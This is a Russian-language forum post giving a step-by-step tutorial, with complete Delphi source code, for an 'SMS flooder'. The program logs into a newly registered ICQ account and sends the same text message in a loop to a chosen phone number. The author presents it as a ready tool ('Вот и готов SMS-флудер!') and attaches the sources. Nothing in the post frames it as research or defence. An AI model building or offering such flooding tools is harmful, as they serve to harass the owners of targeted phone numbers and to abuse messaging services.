class0071
Сообщений: 300
Оценки: 0
Присоединился: 2011-01-27 17:15:23.750000
|
Небольшая статья по написанию SMS-флудера. Сперва регаем новый ICQ-аккаунт. Запускаем среду разработки Delphi (у меня она Delphi 2010), создаем новый проект (File –> New –> VCL Forms Application - Delphi)… Изменим некоторые свойства формы: у свойства Name ставим значение MainForm, Caption - "SMS-флудер" (без кавычек), Position - poDesktopCenter. На форму кинем компоненты ICQClient (1шт.; значения свойств ICQServer и ICQServerViaHTTP удалим), Label (3шт.; у Label1 свойство Caption изменим на "Номер:", у Label2 - "Текст: (", у Label3 - ", ICQ)"), Edit (3шт.; у Edit1 свойство Text изменим на "79113456587", у Edit2 - "its me", у Edit3 - "Привет, как дела? :)"), Button (1шт.; свойство Caption изменим на "GO!") и расположим их так: Ну, теперь создадим обработчик события OnClick компонента Button1 и пишем в тело обработчика вот это: ICQClient1.UIN := 000000000; // где 000000000 - номер зарегистрированного ICQ-аккаунта
ICQClient1.Password := 'pwd'; // где pwd - пароль зарегистрированного ICQ-аккаунта
ICQClient1.Login(); // авторизируемся :) И второй обработчик события - OnLogin компонента ICQClient1, объявим в разделе var процедуры TMainForm.ICQClient1Login(Sender: TObject) локальную переменную I типа Integer и в тело обработчика события пишем: for I := 0 to 20 do
begin
ICQClient1.SendSMS(Edit1.Text , '(' + Edit2.Text + ' , ICQ) ' + Edit3.Text);
end; В итоге у вас должно получиться вот так (исходный код модуля Unit1): unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, ICQClient;
type
TMainForm = class(TForm)
ICQClient1: TICQClient;
Label1: TLabel;
Label2: TLabel;
Label3: TLabel;
Edit1: TEdit;
Edit2: TEdit;
Edit3: TEdit;
Button1: TButton;
procedure Button1Click(Sender: TObject);
procedure ICQClient1Login(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
MainForm: TMainForm;
implementation
{$R *.dfm}
procedure TMainForm.Button1Click(Sender: TObject);
begin
ICQClient1.UIN := 000000000; // где XXXXXXXXX - номер зарегистрированного ICQ-аккаунта
ICQClient1.Password := 'pwd'; // где pwd - пароль зарегистрированного ICQ-аккаунта
ICQClient1.Login(); // авторизируемся :)
end;
procedure TMainForm.ICQClient1Login(Sender: TObject);
var
I: Integer;
begin
for I := 0 to 20 do
begin
ICQClient1.SendSMS(Edit1.Text , '(' + Edit2.Text + ' , ICQ) ' + Edit3.Text);
end;
end;
end. На этом с кодингом покончено :) Скомпилируем и запустим приложение (Run –> Run или нажать на кнопку или F9). Вот и готов SMS-флудер! :) Если вы сделали всё правильно, то приложение отправит 20 сообщений на указанный номер с указанным текстом. Исходники прилагаются ;)
|